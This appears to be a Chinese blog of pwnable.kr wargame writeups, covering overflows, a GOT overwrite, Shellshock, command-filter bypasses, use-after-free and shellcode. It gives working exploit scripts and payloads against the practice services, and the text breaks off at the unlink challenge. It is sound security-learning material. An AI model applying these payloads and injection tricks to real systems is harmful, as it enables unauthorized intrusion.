[pwnable.kr] writeups

fd

由于刚入手pwn,所以想着做些基础的题来提升自己,为了以后方便回顾
首先来看源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0

    }

首先可以知道我们运行程序的时候需要加一个参数,然后观察read函数
ssize_t read(int fd,void * buf ,size_t count);
函数说明read()会把参数fd 所指的文件传送count个字节到buf指针所指的内存中。若参数count为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动。

另外看一下Linux的文件描述符

Integer value Name <unistd.h> symbolic constant <stdio.h> file stream
0 Standard input STDIN_FILENO stdin
1 Standard output STDIN_FILENO stdout
2 Standard error STDIN_FILENO stderr

那么我们只要控制了fd的值为标准输入,那么buf的值就可以用我们的键盘输入了,
目标是使fd为0,那么我们传进去的第一个参数就是0x1234,即十进制的4660

然后看一下strcmp函数

  • C/C++函数,比较两个字符串
  • 设这两个字符串为str1,str2,
  • 若str1==str2,则返回零;
  • 若str1<str2,则返回负数;
  • 若str1>str2,则返回正数。

所以若要输出flag,需要(!strcmp(“LETMEWIN\n”, buf))为真 ,即strcmp(“LETMEWIN\n”, buf)为假(==0)
所以只要输入的buf为LETMEWIN即可获得flag

image.png

collision

代码如下:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
        int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

首先要有一个命令行参数,而且长度必须为20
跟着在check_password里面强制转化为int指针,char占用1位,int4位,那么转化后就是5个数组了,跟那个for循环也是吻合的,那么就是说
也就是char转化为int后加起来要等于那个十六进制串

我们随便减一下就好了,看看哪5个加起来等于他就行了

image.png

注意要小端模式

./col $(python -c 'print "\xE4\x01\xD5\x19"+16*"\x02"')

image.png

bof

下载好源码和源文件:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
            system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

从源码可以看出这题大概是要溢出overflowme从而覆盖key的值为0xcafebabe,只要知道覆盖的大小是多少即可,IDA分析一下

image.png

发现overflowme的基址为ebp-0x2c,即44个字节,再加上ebp和返回地址的8个字节就是52个字节,最后的4个字节覆盖key就可以了,直接上脚本

from pwn import *
p = remote('pwnable.kr',9000)
playload = 'a'*52
playload += p32(0xcafebabe)
p.sendline(playload)
p.interactive()

拿到flag

image.png

flag

这题一开始用ida看什么都没看出来,后来看了网上的WP才知道这题是加了壳的,从十六进制中可以看到确实加了upx壳

image.png

直接在kali下用upx -d 脱壳

image.png

然后再IDA分析,直接shift F12查看引用字符串可以发现flag

image.png

passcode

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
        return 0;    
}

之前一直不能下载文件到本地,今天用了FlashFXP无意间可以下载到本地了 主要@前面的是用户名,之前一直不知道

image.png

从源代码分析看出来,在scanf的时候passcode1和passcode2没有加地址符号,所以会发现段错误,并且没有输入passcode2的机会,这是因为如果没有用取地址符,程序会使用栈上的数据作为指针存放输入的数据。
所以会发生错误。只能用gdb调试程序

image.png

首先我们进入welcome函数

image.png

看到ebp为0xffffcf88

然后调试到准备输入name的地方(gdb中ni是不进入调用函数中 而s是会进入调用函数中),可以看到name的基址为ebp-0x70 ,接着我们同样进入login函数

image.png

ebp竟然还是0xffffcf88

同样调试到输入passcode1的地方

image.png

可以发现passcode1的基址是ebp-0x10

那么通过计算我们可以知道name和passcode1相差(0x70-0x10)=0x60即96个字节,所以我们通过name的最后4个字节指定passcode1的指针位置,然后结合scanf输入passcode1内容从而达到对指定地址的任意写

所以我们可以把exit在plt中的地址改成system读取flag的地址

image.png

通过plt表可知exit的地址为0x0804A018

image.png

而system读取flag函数的地址为0x080485E3 即把0x0804A018的改为0x080485E3,因为scanf的时候用的%d所以要把system的地址转换成十进制 system: 0x080485E3 == 134514147(十进制) , 代码如下:

python -c "print ('a'*96+'\x18\xA0\x04\x08'+'\n'+'134514147\n')" | ./passcode

image.png

random

首先我们看源代码

#include <stdio.h>

int main(){
  unsigned int random;
  random = rand();    // random value!

  unsigned int key=0;
  scanf("%d", &key);

  if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
      system("/bin/cat flag");
      return 0;
  }

  printf("Wrong, maybe you should try 2^32 cases.\n");
  return 0;
}

可以看到random这个函数,由于没有设置种子(设置种子也要变化啊)所以可以知道这里是伪随机数,即每次的random都是同一个值,所以我们只需要找到这个值然后与0xdeadbeef异或即可得到key。

这里我们使用gdb调试来找到random的值(info register命令可以在gdb中查看寄存器的值)

image.png

这里我们可以看到rax寄存器中的值就是我们的random
然后我们将它与0xdeadbeef进行异或

image.png

得到key了
最后获取flag

image.png

input

  • 需要对linux操作有一定的认识,前面的绕过ida或者看源码都能推出来,最后由于我们在input2目录下没有写文件的权限,而tmp目录下只有写权限而没有读权限,所以我们在tmp目录下新建一个input2目录来存放我们的脚本,并用软连接命令来在当前目录创建一个flag副本才能读取到flag
1
ln -s /home/input2/flag flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#coding: utf-8

import subprocess
import os
import socket
import time

payload = []
payload.append('/home/input2/input')

for i in range(64):
payload.append('a')

payload.append('')
payload.append(' \n\r')
payload.append('4567')

for i in range(32):
payload.append('a')


stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()

os.write(stdinw,'\x00\x0a\x00\xff')
os.write(stderrw,'\x00\x0a\x02\xff')
environ = {'\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe' }

f = open('\n','wb')
f.write('\x00'*4)
f.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)



print subprocess.Popen(payload,stdin = stdinr , stderr = stderrr , env = environ)

time.sleep(2)
s.connect(('127.0.0.1',4567))

s.send('\xde\xad\xbe\xef')

参考文章:

leg

  • key1()函数获取pc寄存器的值,key2()函数获取pc寄存器 + 4的值,key3()函数获得lr寄存器的值,arm的pc寄存器永远指向当前执行的指令后的第二条指令,而lr寄存器在执行函数调用的时候取pc-4的值来保留返回地址。所以这里是

1
2
>>> 0x00008ce4 + 0x00008d08+4 + 0x00008d80
108400

mistake

  • 从ida反编译结果来看,有两次输入,只要第一次的输入字符每一位异或1后与第二次输入的字符相等就会cat flag ,有点没明白考点是撒

  • 事后看了师傅的wp才知道原来是源码出现了错误
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}
  • 由于fd=open()外没有括号,而<的优先级高于= ,于是先执行open()函数,再和0比较大小,最后赋值给fd。

  • 当open成功时返回一个正数,这里的判断逻辑就变成了正数 < 0,返回false,也就是0。所以最后赋给 fd 的值为0,也就变成了stdin,所以就造成了ida反编译看有两次输入机会

  • 参考文章:

  • https://blog.csdn.net/qq_19550513/article/details/62045323

shellshock

  • 这题考验对linux的权限认知,首先shellshock程序有特殊sgid权限,当执行shellshock时,当前的权限就会上升到shellshock_pwn,就会有查看flag的权限了,然后利用shellshock(破壳)漏洞来任意bash命令执行cat flag

  • 测试有无破壳漏洞
1
env x='() { :;}; echo vulnerable' ./bash -c "test"
  • cat flag
1
env x='() { :;}; /bin/cat flag' ./shellshock

coin1

  • 一道考验二分法的编程题,直接写脚本但是连接太慢了,所以ssh连上以前的服务器上跑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import * 

#context.log_level = 'debug'

p = remote('pwnable.kr', 9007)

p.recvuntil('- Ready? starting in 3 sec... -')



def senddata(num_start,num_end,C,count,coin = 0):

#print 'num_start: %d , num_end: %d'%(num_start,num_end)
#print 'C: %d,count: %d'%(C,count)


if count == C:
p.sendline(str(coin))
return

a = ''
for i in range(num_start,(num_end+num_start)/2+1):
a += str(i) + ' '

p.sendline(a)

data = p.recvuntil('\n',drop=True)

if data[-1] != '9':
senddata((num_end+num_start)/2+1,num_end,C,count+1,num_end)
else:
if num_end - num_start == 1:
coin = num_start
senddata(num_start,(num_end+num_start)/2,C,count+1,coin)

i = 0
while True:
i += 1
print i
p.recvuntil('N=')
N = int(p.recvuntil(' ',drop = True))
p.recvuntil('C=')
C = int(p.recvuntil('\n',drop = True))


senddata(0,N,C,0)


p.interactive()

blackjack

  • 一个经典的21点游戏,我们的目标是赚到1百万才有flag,看源码发现bet可以输入负数,比如输入-100000000,这样当我们的牌超过21点时,就会-(-100000000)就会变成增加cash(+100000000),从而达到cash增加

lotto

  • 源码中有个双重循环使得我们只要满足有1比特等于产生的6比特中的一比特,就能cat flag,所以我们只要爆破那1比特就行了,仍然要在tmp新建文件夹以及软链接flag及二进制文件
1
2
3
4
5
6
7
8
9
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

#context.log_level = 'debug'

p = process('./lotto')


for i in range(0x20,0x7f):
p.recvuntil('Exit\n')
p.sendline('1')
p.recvuntil('bytes : ')
payload = chr(i)*6
p.sendline(payload)

p.recvuntil('Lotto Start!\n')
data = p.recvline()
if 'bad luck' not in data:
print data

cmd1

  • 一个可以执行cmd命令的程序,但是不能出现flag,tmp,sh的字样,这里由于调用了putenv函数,所以不能直接打命令(例如 ‘cat xxx’ 要变成 ‘/bin/cat xxx’),然后这里用通配符来读取flag
1
2
3
./cmd1 "/bin/cat ***"
or
./cmd1 "/bin/cat fla?"

cmd2

  • 比cmd1过滤了更多的东西,这里看了师傅们的writeups,学到了骚操作(偷个懒,直接复制师傅的骚操作)

首先在/tmp目录下建立自己的目录cmd2,然后创建目录/tmp/cmd2/c。那么,如果在/tmp/exploit/c目录下执行pwd命令就可以得到/tmp/cmd2/c了。然后在/tmp/cmd2下构造cat的软应用ln -s /bin/cat cat,在/tmp/cmd2/c下建立flag的软引用ln -s /home/cmd2/flag flag。然后在/tmp/cmd2/c下执行命令/home/cmd2/cmd2 “\$(pwd)at f*”就可以得到flag了。其原理就是利用“$(pwd)at”构造出/tmp/exploit/cat命令。

uaf

  • 程序通过指向vtable的指针+8来调用introduce()函数,所以我们可以通过uaf来更改原本指向vtable的指针为vtable-8处,这样当执行vtable+8时就会执行give_shell函数

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uaf@ubuntu:/tmp/hacker_mao$ ./uaf 16 file
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat /home/uaf/flag
yay_f1ag_aft3r_pwning
$

memcpy

  • 让我们输入10个数,然后在experience 5报错了,gdb调试发现是movntps汇编语句报错,

  • 查阅之后发现,movaps必要要对齐16字节,而edx的地址是0x0804c4a8并没有对齐16字节,所以不行,而0x0804c4a8是分配的堆地址
1
2
movntps m128,XMM
m128 <== XMM 直接把XMM中的值送入m128,不经过cache,必须对齐16字节.
  • 所以我们要使所有的堆地址对齐16字节才能不报错,只需要所以malloc分配的堆块大小都对齐16字节,写个脚本计算一下符合的size
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

for i in range(3,13):

num = pow(2,i)

while True:

tmp = num/8
a = tmp if (tmp * 8 + 4) >= num else tmp+1

malloc_size = 8 * (a+1)

if malloc_size % 16 == 0:
print num
break

num += 1

image.png

asm

  • 这题其实就是叫我们自己用汇编写shellcode,只能用syscall调用open,readm,write函数来读取flag

  • 自己在本地写个执行shellcode的demo程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//gcc shellcode.c -o shellcode -z execstack -fno-stack-protector
#include <stdio.h>
#define __asm__ asm

int main()
{
char buf[0x200];
//write(1,buf,20);
read(0,buf,0x200);


asm("mov %rsp,%rax");
asm("jmp %rax");

}
  • 然后是用demo成功调用的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

context.log_level = 'debug'
context.binary = './shellcode'

#shellcode = asm(shellcraft.sh())
shellcode = asm(

#push flag_name
'''
mov rax, 0x00676e6f306f306f;
push rax;
mov rax, 0x306f306f306f306f;
push rax;
mov rax, 0x3030303030303030;
push rax;
mov rax, 0x303030306f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f3030303030;
push rax;
mov rax, 0x3030303030303030;
push rax;
mov rax, 0x3030303030303030;
push rax;
mov rax, 0x303030306f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6c5f797265765f73;
push rax;
mov rax, 0x695f656d616e5f65;
push rax;
mov rax, 0x6c69665f6568745f;
push rax;
mov rax, 0x7972726f732e656c;
push rax;
mov rax, 0x69665f736968745f;
push rax;
mov rax, 0x646165725f657361;
push rax;
mov rax, 0x656c705f656c6966;
push rax;
mov rax, 0x5f67616c665f726b;
push rax;
mov rax, 0x2e656c62616e7770;
push rax;
mov rax, 0x5f73695f73696874;
push rax;
'''

#open(0,flag_name)
'''
mov rdi, rsp;
mov rsi, 0x0;
mov rax, 0x2;
syscall
'''

#read(3,flag_name,0x100)
'''
mov rdi, rax;
mov rsi, rsp;
mov rdx, 0x100;
mov rax, 0x0;
syscall
'''

#write(1,flag_name,0x100)
'''
mov rdi, 0x1;
mov rsi, rsp;
mov rdx, 0x100;
mov rax, 0x1;
syscall

''')

p = process('./shellcode')
#gdb.attach(p)
p.sendline(shellcode)

p.interactive()
  • 然后打远程的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context.log_level = 'debug'
context(arch='amd64',os='linux')

shellcode = asm(
'''
mov rax, 0x00676e6f306f306f;
push rax;
mov rax, 0x306f306f306f306f;
push rax;
mov rax, 0x3030303030303030;
push rax;
mov rax, 0x303030306f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f3030303030;
push rax;
mov rax, 0x3030303030303030;
push rax;
mov rax, 0x3030303030303030;
push rax;
mov rax, 0x303030306f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6f6f6f6f6f6f6f6f;
push rax;
mov rax, 0x6c5f797265765f73;
push rax;
mov rax, 0x695f656d616e5f65;
push rax;
mov rax, 0x6c69665f6568745f;
push rax;
mov rax, 0x7972726f732e656c;
push rax;
mov rax, 0x69665f736968745f;
push rax;
mov rax, 0x646165725f657361;
push rax;
mov rax, 0x656c705f656c6966;
push rax;
mov rax, 0x5f67616c665f726b;
push rax;
mov rax, 0x2e656c62616e7770;
push rax;
mov rax, 0x5f73695f73696874;
push rax;
mov rdi, rsp;
mov rsi, 0x0;
mov rax, 0x2;
syscall

mov rdi, rax;
mov rsi, rsp;
mov rdx, 0x100;
mov rax, 0x0;
syscall

mov rdi, 0x1;
mov rsi, rsp;
mov rdx, 0x100;
mov rax, 0x1;
syscall

''')

p = remote('0',9026)
p.recvuntil('shellcode:')
p.sendline(shellcode)

p.interactive()
  • 这里查syscall的调用号
1
2
3
locate unistd_32
//或者
locate unistd_64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
#define __NR_brk 12
#define __NR_rt_sigaction 13
#define __NR_rt_sigprocmask 14
#define __NR_rt_sigreturn 15
#define __NR_ioctl 16
#define __NR_pread64 17
#define __NR_pwrite64 18
#define __NR_readv 19
#define __NR_writev 20
#define __NR_access 21
#define __NR_pipe 22
#define __NR_select 23
#define __NR_sched_yield 24
#define __NR_mremap 25
#define __NR_msync 26
#define __NR_mincore 27
#define __NR_madvise 28
#define __NR_shmget 29
#define __NR_shmat 30
#define __NR_shmctl 31
#define __NR_dup 32
#define __NR_dup2 33
#define __NR_pause 34
#define __NR_nanosleep 35
#define __NR_getitimer 36
#define __NR_alarm 37
#define __NR_setitimer 38
#define __NR_getpid 39
#define __NR_sendfile 40
#define __NR_socket 41
#define __NR_connect 42
#define __NR_accept 43
#define __NR_sendto 44
#define __NR_recvfrom 45
#define __NR_sendmsg 46
#define __NR_recvmsg 47
#define __NR_shutdown 48
#define __NR_bind 49
#define __NR_listen 50
#define __NR_getsockname 51
#define __NR_getpeername 52
#define __NR_socketpair 53
#define __NR_setsockopt 54
#define __NR_getsockopt 55
#define __NR_clone 56
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
#define __NR_uname 63
#define __NR_semget 64
#define __NR_semop 65
#define __NR_semctl 66
#define __NR_shmdt 67
#define __NR_msgget 68
#define __NR_msgsnd 69
#define __NR_msgrcv 70
#define __NR_msgctl 71
#define __NR_fcntl 72
#define __NR_flock 73
#define __NR_fsync 74
#define __NR_fdatasync 75
#define __NR_truncate 76
#define __NR_ftruncate 77
#define __NR_getdents 78
#define __NR_getcwd 79
#define __NR_chdir 80
#define __NR_fchdir 81
#define __NR_rename 82
#define __NR_mkdir 83
#define __NR_rmdir 84
#define __NR_creat 85
#define __NR_link 86
#define __NR_unlink 87
#define __NR_symlink 88
#define __NR_readlink 89
#define __NR_chmod 90
#define __NR_fchmod 91
#define __NR_chown 92
#define __NR_fchown 93
#define __NR_lchown 94
#define __NR_umask 95
#define __NR_gettimeofday 96
#define __NR_getrlimit 97
#define __NR_getrusage 98
#define __NR_sysinfo 99
#define __NR_times 100
#define __NR_ptrace 101
#define __NR_getuid 102
#define __NR_syslog 103
#define __NR_getgid 104
#define __NR_setuid 105
#define __NR_setgid 106
#define __NR_geteuid 107
#define __NR_getegid 108
#define __NR_setpgid 109
#define __NR_getppid 110
#define __NR_getpgrp 111
#define __NR_setsid 112
#define __NR_setreuid 113
#define __NR_setregid 114
#define __NR_getgroups 115
#define __NR_setgroups 116
#define __NR_setresuid 117
#define __NR_getresuid 118
#define __NR_setresgid 119
#define __NR_getresgid 120
#define __NR_getpgid 121
#define __NR_setfsuid 122
#define __NR_setfsgid 123
#define __NR_getsid 124
#define __NR_capget 125
#define __NR_capset 126
#define __NR_rt_sigpending 127
#define __NR_rt_sigtimedwait 128
#define __NR_rt_sigqueueinfo 129
#define __NR_rt_sigsuspend 130
#define __NR_sigaltstack 131
#define __NR_utime 132
#define __NR_mknod 133
#define __NR_uselib 134
#define __NR_personality 135
#define __NR_ustat 136
#define __NR_statfs 137
#define __NR_fstatfs 138
#define __NR_sysfs 139
#define __NR_getpriority 140
#define __NR_setpriority 141
#define __NR_sched_setparam 142
#define __NR_sched_getparam 143
#define __NR_sched_setscheduler 144
#define __NR_sched_getscheduler 145
#define __NR_sched_get_priority_max 146
#define __NR_sched_get_priority_min 147
#define __NR_sched_rr_get_interval 148
#define __NR_mlock 149
#define __NR_munlock 150
#define __NR_mlockall 151
#define __NR_munlockall 152
#define __NR_vhangup 153
#define __NR_modify_ldt 154
#define __NR_pivot_root 155
#define __NR__sysctl 156
#define __NR_prctl 157
#define __NR_arch_prctl 158
#define __NR_adjtimex 159
#define __NR_setrlimit 160
#define __NR_chroot 161
#define __NR_sync 162
#define __NR_acct 163
#define __NR_settimeofday 164
#define __NR_mount 165
#define __NR_umount2 166
#define __NR_swapon 167
#define __NR_swapoff 168
#define __NR_reboot 169
#define __NR_sethostname 170
#define __NR_setdomainname 171
#define __NR_iopl 172
#define __NR_ioperm 173
#define __NR_create_module 174
#define __NR_init_module 175
#define __NR_delete_module 176
#define __NR_get_kernel_syms 177
#define __NR_query_module 178
#define __NR_quotactl 179
#define __NR_nfsservctl 180
#define __NR_getpmsg 181
#define __NR_putpmsg 182
#define __NR_afs_syscall 183
#define __NR_tuxcall 184
#define __NR_security 185
#define __NR_gettid 186
#define __NR_readahead 187
#define __NR_setxattr 188
#define __NR_lsetxattr 189
#define __NR_fsetxattr 190
#define __NR_getxattr 191
#define __NR_lgetxattr 192
#define __NR_fgetxattr 193
#define __NR_listxattr 194
#define __NR_llistxattr 195
#define __NR_flistxattr 196
#define __NR_removexattr 197
#define __NR_lremovexattr 198
#define __NR_fremovexattr 199
#define __NR_tkill 200
#define __NR_time 201
#define __NR_futex 202
#define __NR_sched_setaffinity 203
#define __NR_sched_getaffinity 204
#define __NR_set_thread_area 205
#define __NR_io_setup 206
#define __NR_io_destroy 207
#define __NR_io_getevents 208
#define __NR_io_submit 209
#define __NR_io_cancel 210
#define __NR_get_thread_area 211
#define __NR_lookup_dcookie 212
#define __NR_epoll_create 213
#define __NR_epoll_ctl_old 214
#define __NR_epoll_wait_old 215
#define __NR_remap_file_pages 216
#define __NR_getdents64 217
#define __NR_set_tid_address 218
#define __NR_restart_syscall 219
#define __NR_semtimedop 220
#define __NR_fadvise64 221
#define __NR_timer_create 222
#define __NR_timer_settime 223
#define __NR_timer_gettime 224
#define __NR_timer_getoverrun 225
#define __NR_timer_delete 226
#define __NR_clock_settime 227
#define __NR_clock_gettime 228
#define __NR_clock_getres 229
#define __NR_clock_nanosleep 230
#define __NR_exit_group 231
#define __NR_epoll_wait 232
#define __NR_epoll_ctl 233
#define __NR_tgkill 234
#define __NR_utimes 235
#define __NR_vserver 236
#define __NR_mbind 237
#define __NR_set_mempolicy 238
#define __NR_get_mempolicy 239
#define __NR_mq_open 240
#define __NR_mq_unlink 241
#define __NR_mq_timedsend 242
#define __NR_mq_timedreceive 243
#define __NR_mq_notify 244
#define __NR_mq_getsetattr 245
#define __NR_kexec_load 246
#define __NR_waitid 247
#define __NR_add_key 248
#define __NR_request_key 249
#define __NR_keyctl 250
#define __NR_ioprio_set 251
#define __NR_ioprio_get 252
#define __NR_inotify_init 253
#define __NR_inotify_add_watch 254
#define __NR_inotify_rm_watch 255
#define __NR_migrate_pages 256
#define __NR_openat 257
#define __NR_mkdirat 258
#define __NR_mknodat 259
#define __NR_fchownat 260
#define __NR_futimesat 261
#define __NR_newfstatat 262
#define __NR_unlinkat 263
#define __NR_renameat 264
#define __NR_linkat 265
#define __NR_symlinkat 266
#define __NR_readlinkat 267
#define __NR_fchmodat 268
#define __NR_faccessat 269
#define __NR_pselect6 270
#define __NR_ppoll 271
#define __NR_unshare 272
#define __NR_set_robust_list 273
#define __NR_get_robust_list 274
#define __NR_splice 275
#define __NR_tee 276
#define __NR_sync_file_range 277
#define __NR_vmsplice 278
#define __NR_move_pages 279
#define __NR_utimensat 280
#define __NR_epoll_pwait 281
#define __NR_signalfd 282
#define __NR_timerfd_create 283
#define __NR_eventfd 284
#define __NR_fallocate 285
#define __NR_timerfd_settime 286
#define __NR_timerfd_gettime 287
#define __NR_accept4 288
#define __NR_signalfd4 289
#define __NR_eventfd2 290
#define __NR_epoll_create1 291
#define __NR_dup3 292
#define __NR_pipe2 293
#define __NR_inotify_init1 294
#define __NR_preadv 295
#define __NR_pwritev 296
#define __NR_rt_tgsigqueueinfo 297
#define __NR_perf_event_open 298
#define __NR_recvmmsg 299
#define __NR_fanotify_init 300
#define __NR_fanotify_mark 301
#define __NR_prlimit64 302
#define __NR_name_to_handle_at 303
#define __NR_open_by_handle_at 304
#define __NR_clock_adjtime 305
#define __NR_syncfs 306
#define __NR_sendmmsg 307
#define __NR_setns 308
#define __NR_getcpu 309
#define __NR_process_vm_readv 310
#define __NR_process_vm_writev 311
#define __NR_kcmp 312
#define __NR_finit_module 313
#define __NR_sched_setattr 314
#define __NR_sched_getattr 315
#define __NR_renameat2 316
#define __NR_seccomp 317
#define __NR_getrandom 318
#define __NR_memfd_create 319
#define __NR_kexec_file_load 320
#define __NR_bpf 321
#define __NR_execveat 322
#define __NR_userfaultfd 323
#define __NR_membarrier 324
#define __NR_mlock2 325

#endif /* _ASM_X86_UNISTD_64_H */

unlink

  • 用c模拟了旧的unlink,没有校验,本来想直接覆盖返回地址为后门地址,但是会破坏后门
1
2
3
4
5
6
7
8
void unlink(OBJ* P){
OBJ* BK;
